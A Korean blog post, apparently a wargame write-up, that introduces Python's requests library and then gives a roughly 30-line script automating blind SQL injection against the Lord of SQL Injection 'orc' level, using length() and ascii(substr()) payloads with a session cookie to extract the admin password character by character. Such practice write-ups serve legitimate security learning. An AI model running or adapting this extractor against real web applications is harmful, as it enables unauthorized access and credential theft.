Notice
Recent Posts
Recent Comments
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 보안뉴스 요약
- 보안뉴스한줄요약
- oracle
- 보안뉴스 한줄요약
- 자바스크립트 element api
- 다크웹
- 자바스크립트 기본 문법
- 랜섬웨어
- 보안뉴스요약
- 카카오프로젝트 100
- 보안뉴스
- 자바스크립트 prototype
- 자바스크립트 API
- 자바스크립트 객체
- javascript
- 깃허브
- python
- 파이썬
- GIT
- 자바스크립트
- 자바스크립트 jQuery
- php
- Oracle SQL
- 카카오프로젝트100
- 오라클
- 자바스크립트 node
- 카카오프로젝트
- oracle db
- ES6
- numpy
Archives
- Today
- Total
FU11M00N
Lord of SQL Injection(orc) 블라인드 인젝션 자동화툴 본문
안녕하세요! 이번에는 Lord of SQL Injection(orc)에서 사용 가능한,
파이썬 Requests 모듈을 사용해 블라인드 자동화 툴을 만들어보겠습니다.
우선 Request 모듈에서 사용할 수 있는 것들은
- requests.get
get 요청할 때 사용, 전달 가능 인자 값 (url, params, cookies, headers 등)
ex) response = requests.get(url, params) - requests.post
post 요청할때 사용, 전달 가능 인자값 (url, data, cookies, headers 등)
ex) response = requests.post(url, params) - headers 구성
headers = {'Content-Type': 'application/json; charset=utf-8'} - cookies 구성
cookies = {'sid': 'asdfghjk12 qwe34 rt'} - params 구성
params = {'id': 'testid', 'pw': 'testpasswd'} - response.status_code
응답 코드 - response.text
응답 결과를 text로 - response.elapsed.total_seconds()
응답까지 걸린 시간을 체크 (Time-Based Blind injecthion에 사용)
https://jaeseokim.tistory.com/26 출처입니다!
자주 사용되는 파이썬 requests 라이브러리 함수입니다.
import requests
url ='https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php' #url 주소 입력
cookies = {'PHPSESSID': 'mmblkc02vmio82tck1thcr06d7'} # 세션 쿠키를 입력
def find_pw_len(): # pw의 길이를 알아내는 함수
pw_len = 0
while 1:
pw_len=pw_len+1
value ="'or id='admin' and length(pw)= {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
params={'pw' : value} # pw 안에 코드를 삽입한다..
response = requests.get(url,params=params,cookies=cookies) # get방식으로 url, 파라미터, 쿠키를 서버에 전송한다.
if("Hello admin" in response.text): # 만약 서버로부터 Hello admin 이란 응답이 온다면
print("길이는? =",pw_len) # pw_len 길이를 출력한다
break
print("시도중 입니다!:",pw_len)
return pw_len
def find_pw():
pw_len=find_pw_len() # 찾아낸 pw의 길이를 pw_len 변수안에 넣어준다
flag='' # 문자열을 저장하고있는 변수
for pw_value in range(1,pw_len+1): # 1부터 pw_len 의 값만큼 반복한다
for ascii in range(48,122): # 아스키코드값 48부터 122 까지 반복한다.
value ="'or id='admin' and ascii(substr(pw,{},1))= {} #".format(pw_value,ascii) # 반복하면서 PW을 substr 값으로 변환하고 그 값을 한번더 ascii로 변환한 값을 이용하여 정답을 찾아낸다
params = {'pw': value} # pw안에 코드를 넣는다.
response = requests.get(url, params=params, cookies=cookies) # get 방식으로 url,파라미터 , 쿠키 값을 전송한다.
if("Hello admin" in response.text): #만약 서버로부터 Hello admin을 찾으면
print("pw의 값은!",chr(ascii)) # 그 값을 출력한다.
flag+=chr(ascii) # 값이 나올때마다 flag 문자열 변수에 넣는다.
break
print("값을 찾고있습니다!",chr(ascii))
print("정답은:",flag,"입니다")
find_pw()
32줄가량되는 파이썬 코드입니다.
제가 파이썬의 for, if 문 같은 기본적인 문법도 모르고 파이썬을 처음 사용하여 만든 것이라서
다른 블로그분들꺼를 많이 레퍼런스 했습니다. 직접 짜보 고나니 대충 느낌도 오고 재밌있었습니다!
ORC Clear!!
'Programming > Python' 카테고리의 다른 글
[Python] 파일 입출력 (0) | 2020.10.13 |
---|---|
[Python] lambda 함수, 재귀함수, 하노이탑 피보나치,팩토리얼 (0) | 2020.10.13 |
[Python] 파이썬으로 구현한 성적처리프로그램 (0) | 2020.10.03 |
[Python] 파이썬으로 구현한 숫자야구게임 (0) | 2020.10.03 |
1.파이썬 특징과 파이썬의 기본 문법 (0) | 2020.03.20 |
Comments